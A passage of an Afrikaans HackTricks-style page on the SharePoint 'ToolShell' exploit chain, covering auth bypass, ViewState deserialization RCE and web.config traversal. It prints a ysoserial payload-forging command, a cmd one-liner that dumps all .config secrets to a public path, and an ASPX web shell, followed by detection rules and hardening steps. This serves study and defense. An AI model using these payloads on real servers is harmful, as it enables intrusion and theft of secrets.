`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` laat willekeurige *Server-Side Include* kode toe om in die bladsy ingespuit te word wat later deur ASP.NET gecompileer word. 'n Aanvaller kan C# insluit wat `Process.Start()` uitvoer en 'n kwaadwillige ViewState laat val.
|
||||
|
||||
### 2.2 CVE-2025-49706 – Onbehoorlike Verifikasie Omseiling
|
||||
|
||||
Dieselfde bladsy vertrou die **X-Forms_BaseUrl** kop om die webwerf konteks te bepaal. Deur dit na `/_layouts/15/` te wys, kan MFA/SSO wat by die wortelwebwerf afgedwing word, **sonder verifikasie** omseil word.
|
||||
|
||||
### 2.3 CVE-2025-53770 – Onverifieerde ViewState Deserialisering → RCE
|
||||
|
||||
Sodra die aanvaller 'n gadget in `ToolPane.aspx` beheer, kan hulle 'n **ongetekende** (of slegs MAC) `__VIEWSTATE` waarde plaas wat .NET deserialisering binne *w3wp.exe* aktiveer wat lei tot kode-uitvoering.
|
||||
|
||||
As ondertekening geaktiveer is, steel die **ValidationKey/DecryptionKey** van enige `web.config` (sien 2.4) en vervals die payload met *ysoserial.net* of *ysodom*:
|
||||
```
|
||||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||||
```
|
||||
Vir 'n diepgaande verduideliking oor die misbruik van ASP.NET ViewState, lees:
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||||
{{#endref}}
|
||||
|
||||
### 2.4 CVE-2025-53771 – Pad Traversal / web.config Ontsluiting
|
||||
|
||||
Deur 'n vervaardigde `Source` parameter na `ToolPane.aspx` te stuur (bv. `../../../../web.config`) keer die geteikende lêer terug, wat die lekkasie van die volgende toelaat:
|
||||
|
||||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ vervals ViewState / ASPXAUTH koekies
|
||||
* verbindsstrings & geheime.
|
||||
|
||||
## 3. Post-exploitasie resepte waargeneem in die natuur
|
||||
|
||||
### 3.1 Exfiltreer elke *.config* lêer (variasie-1)
|
||||
```
|
||||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||||
```
|
||||
Die resulterende `debug_dev.js` kan anoniem afgelaai word en bevat **alle** sensitiewe konfigurasie.
|
||||
|
||||
### 3.2 Ontplooi 'n Base64-gecodeerde ASPX web shell (variasie-2)
|
||||
```
|
||||
powershell.exe -EncodedCommand <base64>
|
||||
```
|
||||
Gedekodeerde payload voorbeeld (verkort):
|
||||
```csharp
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e){
|
||||
Response.Write(MachineKey.ValidationKey);
|
||||
// echo secrets or invoke cmd
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Geschryf vir:
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
Die skulp bied eindpunte om **te lees / draai masjien sleutels** wat die vervalsing van ViewState en ASPXAUTH koekies oor die plaas toelaat.
|
||||
|
||||
### 3.3 Obfuscated variasie (variasie-3)
|
||||
|
||||
Dieselfde skulp maar:
|
||||
* gelaat onder `...\15\TEMPLATE\LAYOUTS\`
|
||||
* veranderlike name verminder tot enkele letters
|
||||
* `Thread.Sleep(<ms>)` bygevoeg vir sandbox-ontvlugting & tyd-gebaseerde AV omseiling.
|
||||
|
||||
## 4. Opsporing idees
|
||||
|
||||
| Telemetrie | Waarom dit verdag is |
|
||||
|------------|----------------------|
|
||||
| `w3wp.exe → cmd.exe` | Werkersproses behoort selde 'n skulp te spawn |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Klassieke lolbin patroon |
|
||||
| Lêer gebeurtenisse wat `debug_dev.js` of `spinstall0.aspx` skep | IOCs regstreeks van ToolShell |
|
||||
| `ProcessCmdLine BEVAT ToolPane.aspx` (ETW/Module logs) | Publieke PoCs roep hierdie bladsy aan |
|
||||
|
||||
Voorbeeld XDR / Sysmon reël (pseudo-XQL):
|
||||
```
|
||||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||||
```
|
||||
## 5. Versterking & Versagting
|
||||
|
||||
1. **Patch** – Julie 2025 sekuriteitsopdaterings herstel *alle* vier CVE's.
|
||||
2. **Draai** elke `<machineKey>` en `ViewState` geheime na 'n kompromie.
|
||||
3. Verwyder *LAYOUTS* skrywe toestemming van `WSS_WPG` & `WSS_ADMIN_WPG` groepe.
|
||||
4. Blokkeer eksterne toegang tot `/_layouts/15/ToolPane.aspx` op proxy/WAF vlak.
|
||||
5. Aktiveer **ViewStateUserKey**, **MAC geaktiveer**, en pasgemaakte *EventValidation*.
|
||||
|
||||
## Verwante truuks
|
||||
|
||||
* IIS post-exploitatie & web.config misbruik:
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [Unit42 – Aktiewe Exploitatie van Microsoft SharePoint Kw vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – ToolShell exploit ketting](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft Sekuriteitsadvies – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Microsoft Sekuriteitsadvies – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user